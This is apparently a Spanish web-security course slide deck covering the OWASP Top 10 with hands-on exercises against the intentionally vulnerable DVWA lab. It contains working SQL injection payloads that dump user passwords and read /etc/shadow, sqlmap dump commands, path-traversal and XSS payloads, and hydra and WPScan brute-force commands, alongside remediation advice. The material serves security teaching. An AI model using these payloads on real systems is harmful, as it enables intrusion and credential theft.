You are on page 1of 78

Enumeración y escaneo de vulnerabilidades

© All rights reserved. www.keepcoding.io


¿Qué es una vulnerabilidad?
● Una vulnerabilidad no deja de ser un bug
● Pero puede ser usada por un atacante con fines maliciosos
● Hay de distintos tipos y gravedad

© All rights reserved. www.keepcoding.io


Donde se publican las vulnerabilidades

● https://cve.mitre.org/
● https://nvd.nist.gov/
● https://www.cvedetails.com/

© All rights reserved. www.keepcoding.io


Responsible Disclosure

1. Envío de la vulnerabilidad
2. Tiempo para corregirla y sacar un parche
3. Publicación de la vulnerabilidad de forma pública

© All rights reserved. www.keepcoding.io


Bug bounties
● Sistema de incentivos por parte de las empresas en caso de que
encuentres un fallo de seguridad
● Sujeto a unas normas

https://www.bugcrowd.com/bug-bounty-list/

https://hackerone.com/bug-bounty-programs

© All rights reserved. www.keepcoding.io


OWASP Top 10

● Open Web Application Security Project


● Fundación centrada en la seguridad informática
○ Desarrollo de herramientas open source
○ Guías owasp
■ OWASP Top 10 Most Critical Web Application Security Risks

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

© All rights reserved. www.keepcoding.io


OWASP Top 10

© All rights reserved. www.keepcoding.io


A1:2017- Injection
● Fallos que permiten inyección, como SQL, NoSQL, OS y LDAP
● Ocurren cuando un atacante consigue enviar datos que modifican
una query o comando

© All rights reserved. www.keepcoding.io


DVWA SQLInjection
1. docker run --rm -it -p 80:80 vulnerables/web-dvwa
2. usuario: admin contraseña:password

© All rights reserved. www.keepcoding.io


DVWA SQLInjection

© All rights reserved. www.keepcoding.io


DVWA SQLInjection
● SELECT First_Name,Last_Name FROM users WHERE ID=';
● id = 1
● id = ‘

© All rights reserved. www.keepcoding.io


DVWA SQLInjection
● 1' OR '1' = '1
● SELECT First_Name,Last_Name FROM users WHERE ID=’1' OR '1' = '1;

© All rights reserved. www.keepcoding.io


DVWA SQLInjection

● Sabemos que es un MySQL Server


● Obtener la versión:
○ Select version()
○ Select @@version

● ' union select version()#

© All rights reserved. www.keepcoding.io


DVWA SQLInjection
● SELECT First_Name,Last_Name FROM users WHERE ID=’1’;
● ' union select 1,version()#

● ' union select 1,@@hostname#

© All rights reserved. www.keepcoding.io


DVWA SQLInjection

● Obtener el número de columnas de la tabla


● SELECT First_Name,Last_Name FROM users WHERE ID=’’ order by 1#

● ' order by 1 #
● ' order by 3 #

© All rights reserved. www.keepcoding.io


DVWA SQLInjection

● Obtener usuario del sistema


● ' union all select system_user(),user() #

● ' union select 1,database() #

© All rights reserved. www.keepcoding.io


DVWA SQLInjection

● SELECT schema_name FROM information_schema.schemata

● ' union select null,schema_name from information_schema.schemata#

© All rights reserved. www.keepcoding.io


DVWA SQLInjection
● ¿Qué tablas existen?
● ' union select null,table_name from information_schema.tables #
● ' union select null,table_name from information_schema.tables where
table_schema = 'dvwa'#

© All rights reserved. www.keepcoding.io


DVWA SQLInjection
● ¿Cuantas columnas tiene la tabla users?
● ' union select null,concat(table_name,0x20,column_name) from
information_schema.columns where table_name= 'users' #

● 0x20 = Espacio

© All rights reserved. www.keepcoding.io


DVWA SQLInjection
● ' union select null,concat(first_name,0x20,password) from users #

● ' union select first_name,password from users #

© All rights reserved. www.keepcoding.io


DVWA SQLInjection
● ' union select null,@@datadir #

● ' union all select load_file('/etc/passwd'),null #


● ' union all select load_file('/etc/shadow'),null #

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/
SQL%20injection

© All rights reserved. www.keepcoding.io


DVWA SQLInjection
● Nunca debemos fiarnos de los datos enviados por el usuario
● No implementes tu propia solución

© All rights reserved. www.keepcoding.io


Blind SQLInjection
● Cuando no se muestran errores en pantalla pero permite la ejecución de
consultas se la conoce como Blind SQLInjection

● ' and 1=1 union select sleep(1)#


● ' and 1=1 union select 1,sleep(1)#

© All rights reserved. www.keepcoding.io


SQLMap
● Herramienta open source que permite detectar y explotar
inyecciones SQL

https://github.com/sqlmapproject/sqlmap

© All rights reserved. www.keepcoding.io


SQLMap
1. sqlmap -u "localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low;
PHPSESSID=mmfh1cmqp960h5dh3kp01r2u04"

1. sqlmap -u "localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low;


PHPSESSID=mmfh1cmqp960h5dh3kp01r2u04" --dbs


© All rights reserved. www.keepcoding.io


SQLMap
3. sqlmap -u "localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=mmfh1cmqp960h5dh3kp01r2u04" -D dvwa --tables

4. sqlmap -u "localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=mmfh1cmqp960h5dh3kp01r2u04" -T users --column

© All rights reserved. www.keepcoding.io


SQLMap
5. sqlmap -u "localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low;
PHPSESSID=mmfh1cmqp960h5dh3kp01r2u04" -C user,password --dump

© All rights reserved. www.keepcoding.io


GUI SQLMap

https://github.com/Hood3dRob1n/SQLMAP-Web-GUI

© All rights reserved. www.keepcoding.io


Soluciones SQLInjection
● Prepared Statement
○ INSERT INTO products (name, price) VALUES (?, ?);

● Object Relational Mapping (ORM)

© All rights reserved. www.keepcoding.io


NoSQL Injection
“...with MongoDB we are not building queries from strings, so traditional SQL injection attacks are not a problem.”

● db.myCollection.find( { $where: "this.credits == this.debits" } );


● db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } );;

https://github.com/swisskyrepo/
PayloadsAllTheThings/tree/master/
NoSQL%20injection

© All rights reserved. www.keepcoding.io


NoSQLMap
● Herramienta open source para detectar y explotar inyecciones
NoSQL

https://github.com/codingo/NoSQLMap

© All rights reserved. www.keepcoding.io


Command Injection

© All rights reserved. www.keepcoding.io


A2:2017- Broken Authentication
Las funciones de autenticación y manejo de sesiones no están
implementadas correctamente. Permiten a atacantes robar
contraseñas, claves, tokens de sesión o explotar otros fallos.

● Permite ataques de fuerza bruta


● Contraseñas débiles o conocidas

© All rights reserved. www.keepcoding.io


Ataque de diccionario vs Fuerza Bruta
● Fuerza bruta
○ Probar contraseñas generadas

● Ataque de diccionario
○ Ataque con un listado de contraseñas o palabras
○ Se pueden aplicar máscaras
■ Concatena un número
■ Primera letra en mayúscula

© All rights reserved. www.keepcoding.io


A2:2017- Broken Authentication
● F12 Abrir developer tools

© All rights reserved. www.keepcoding.io


A2:2017- Broken Authentication
● http://localhost/vulnerabilities/brute/?
username=$user$&password=$password$&Login=Login#

● $user$
● $password$

© All rights reserved. www.keepcoding.io


A2:2017- Broken Authentication

● hydra 127.0.0.1
● -l admin
○ -L userlist
● -P Listas de contraseñas
○ Rock You Dict
○ /usr/share/set/src/fasttrack/wordlist.txt
● http-get-form Petición de tipo GET

© All rights reserved. www.keepcoding.io


A2:2017- Broken Authentication
● Proxys
○ Burp
■ https://portswigger.net/burp
○ Zap
■ Desarrollado por OWASP
● https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

© All rights reserved. www.keepcoding.io


A2:2017- Broken Authentication
1. Configurar navegador para usarlo con burp
a.Permitir proxy en localhost

© All rights reserved. www.keepcoding.io


A2:2017- Broken Authentication
2. Capturar petición
3. Send to Intruder

© All rights reserved. www.keepcoding.io


A2:2017- Broken Authentication
4. Intruder payload positions

© All rights reserved. www.keepcoding.io


A2:2017- Broken Authentication
5. Intruder payload options

© All rights reserved. www.keepcoding.io


A2:2017- Broken Authentication
6. Start attack

© All rights reserved. www.keepcoding.io


Soluciones Broken Authentication

● Captchas
● Segundo factor de autenticación
● Mucho cuidado con crear un login propio
● Contraseñas seguras

© All rights reserved. www.keepcoding.io


Contraseña segura

© All rights reserved. www.keepcoding.io


A3-Sensitive Data Exposure
Muchas aplicaciones y APIs no tratan correctamente datos sensibles,
como financieros o contraseñas. Comunicación de datos sensibles
sin cifrado.

● ¿Hay datos transmitidos en claro? HTTP, SMTP, FTP


● Uso de algoritmos criptográficos antiguos como MD5
● No se fuerza el uso de comunicación cifrada

© All rights reserved. www.keepcoding.io


A3-Sensitive Data Exposure

© All rights reserved. www.keepcoding.io


Almacenamiento seguro de contraseñas
● Funciones Hash
○ Algoritmo matemático que dada la misma entrada genera
siempre la misma salida
○ md5, sha1, sha256

● Las contraseñas se deben almacenar con salt

© All rights reserved. www.keepcoding.io


A4-XML External Entities (XXE)

● Muchos parseadores de XML antiguos o mal configurados


permiten utilizar entidad externas en documentos XML

● Esto puede ser utilizado para mostrar archivos internos, escanear


puertos, ejecutar código remotamente y denegación de servicio

© All rights reserved. www.keepcoding.io


A4-XML External Entities (XXE)
● Extraer información del servidor

● Acceso a recursos internos

● Denegación de servicio

© All rights reserved. www.keepcoding.io


Soluciones
● Usa JSON
● Utilizar librerías para tratamiento de XML
○ SOAP 1.2 o superior
● Validar el XML antes de parsearlo

© All rights reserved. www.keepcoding.io


A5:2017-Broken Access Control

● Las restricciones acerca de lo que puede hacer y no hacer un usuario


autenticado muchas veces no se encuentran bien configuradas

● Un atacante puede acceder a sitios o funciones a las que no está


autorizado: acceder cuentas de otros usuarios, ver archivos privados,
modificar datos, cambiar permisos, etc

© All rights reserved. www.keepcoding.io


LFI
● http://localhost/vulnerabilities/fi/?page=file1.php

● http://localhost/vulnerabilities/fi/?page=../../../../../../etc/passwd
● http://localhost/vulnerabilities/fi/?page=../../../../../../etc/issue
● http://localhost/vulnerabilities/fi/?page=../../../../../../etc/profile

© All rights reserved. www.keepcoding.io


LFI
● Local File Inclusion: Configuración errónea del servidor que permite
leer archivos del servidor y a veces se pueden ejecutar comandos

© All rights reserved. www.keepcoding.io


A6-Security Misconfiguration
Configuración errónea es la causa más común. Configuraciones
inseguras por defecto, incompletas, almacenamientos en la nube
abiertos, configuración errónea de cabeceras HTTP y mensajes de
error con información sensible.

Aparte de configurar adecuadamente cada pieza de software es


necesario mantenerlo actualizado.

© All rights reserved. www.keepcoding.io


AWS S3 Buckets
● Almacenamiento de archivos en la nube de Amazon
● Necesidad de configurar los permisos que tiene cada bucket
● Cuidado con que subes a la nube
○ ¿Donde lo subes?
○ ¿Cómo está almacenado?
○ ¿Quién lo está usando?

https://github.com/eth0izzle/bucket-stream

© All rights reserved. www.keepcoding.io


AWS S3 Buckets
1. git clone https://github.com/eth0izzle/bucket-stream.git
2. cd bucket-stream
3. pip3 install -r requirements.txt
4. python3 bucket-stream.py

© All rights reserved. www.keepcoding.io


A7:2017-Cross-Site Scripting (XSS)
● XSS ocurre cuando una aplicación incluye datos en una web sin validación
o escape

● XSS permite a los atacantes inyectar HTML o JavaScript en una página web

● Robar sesiones
● Deface de webs
● Redirigir a una web maliciosa

© All rights reserved. www.keepcoding.io


A7:2017-Cross-Site Scripting (XSS)
● Tipos de XSS:
○ Reflejado
■ Input de html no controlado. Ejemplo: barra de búsqueda
○ Persistente
■ Comentario en un blog
○ DOM XSS: Webs que incluyen datos dinámicamente controlados por el
usuario.
■ http://www.example.com/dashboard.html?context=Carlos
■ http://www.example.com/dashboard.html?context=<script>alert(‘XSS’);</script>


© All rights reserved. www.keepcoding.io


A7:2017-Cross-Site Scripting (XSS)
XSS Reflejado

© All rights reserved. www.keepcoding.io


A7:2017-Cross-Site Scripting (XSS)
● <script>alert('XSS');</script>
● <img src=x onError=alert('xss')>
● http://localhost/vulnerabilities/xss_r/?
name=%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscri
pt%3E#

© All rights reserved. www.keepcoding.io


A7:2017-Cross-Site Scripting (XSS)
● <script>alert('XSS');</script>
● Persistente, se ha quedado como un comentario

© All rights reserved. www.keepcoding.io


Automatización XSS
1. git clone https://github.com/UltimateHackers/XSStrike
2. cd XSStrike
3. pip install -r requirements.txt
4. python xsstrike
a. http://localhost/vulnerabilities/xss_r/?name=1#
b. PHPSESSID:"l53tqf22rvlv0bebdtikckc121" security:"medium"

https://github.com/UltimateHackers/XSStrike

© All rights reserved. www.keepcoding.io


Solución XSS
● No fiarnos del usuario
● Limpieza y validación de los datos

https://secure.php.net/manual/es/function.htmlspecialchars.php

© All rights reserved. www.keepcoding.io


Validación solo con JS

© All rights reserved. www.keepcoding.io


A8:2017-Insecure Deserialization
● La deserialización insegura de componentes puede llevar a la
ejecución de código
○ Serialización es traducir estructuras u objetos a un formato que
puede ser guardado

● Ejemplos:
○ https://docs.python.org/2/library/pickle.html
○ PHP Seralization

© All rights reserved. www.keepcoding.io


A8:2017-Insecure Deserialization
● App que envía una cookie en base64 con estos datos

● Decodeamos el base64 modificamos y volvemos a encodear

© All rights reserved. www.keepcoding.io


A9:2017-Using Components with Known Vulnerabilities
● Utilizar componentes con vulnerabilidades conocidas
● Recomendable mirar siempre
○ https://www.cvedetails.com/

● Ejemplos:
○ Apache Struts 2
■ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
○ Wordpress 4.9.2
■ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389

© All rights reserved. www.keepcoding.io


A10:2017-Insufficient Logging & Monitoring

● Es necesario mantener logs y que estén monitorizados


● Permiten una respuesta a incidentes (DFIR)
○ Digital Forensics and Incident Response
● Detectar ataques de forma temprana

© All rights reserved. www.keepcoding.io


Escaneo automático de vulnerabilidades
● Se puede automatizar la detección de muchos fallos de seguridad

© All rights reserved. www.keepcoding.io


Escaners de vulnerabilidades

© All rights reserved. www.keepcoding.io


Escaneo Web
● Nikto
○ nikto -h localhost
○ nikto -h localhost -p 443
○ nikto -h localhost -Plugins "dictionary(dictionary:rootdirs.txt)"

https://github.com/sullo/nikto

© All rights reserved. www.keepcoding.io


Escáner de Wordpress

© All rights reserved. www.keepcoding.io


WPScan
1. wpscan http://10.0.2.5:8585/wordpress/

1. wpscan -u http://10.0.2.5:8585/wordpress/ --enumerate u

© All rights reserved. www.keepcoding.io


WPScan
3. wpscan -u http://10.0.2.5:8585/wordpress/ --wordlist /usr/share/set/src/
fasttrack/wordlist.txt --username admin

Otras opciones:
● hydra -l admin -P lists/pass.txt url -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log
In&testcookie=1:S=Location'
● https://github.com/n00py/WPForce

© All rights reserved. www.keepcoding.io


Atacar Joomla

● Instalado en Kali Linux


● https://github.com/rezasp/joomscan

1. joomscan --url www.example.com


2. joomscan --url www.example.com --enumerate-components

© All rights reserved. www.keepcoding.io


Ampliación
● Extreme Vulnerable Node Application
● A1:2017-Injection
○ OS Injection
○ NOSql Injection
○ Server side Js Injection
● A2:2017-Broken Authentication
● A3:2017-Sensitive Data Exposure
○ Sensitive Data
○ Headers
● A6:2017-Security Misconfiguration
● A7:2017-Cross Site Scripting
● A8:2017-Insecure Deserialization

https://github.com/vegabird/xvna

https://www.vegabird.com/category/extreme-vulnerable-node-application/

© All rights reserved. www.keepcoding.io


Ampliación II

● iOS
○ http://damnvulnerableiosapp.com/

● Android
○ https://github.com/payatu/diva-android

© All rights reserved. www.keepcoding.io

You might also like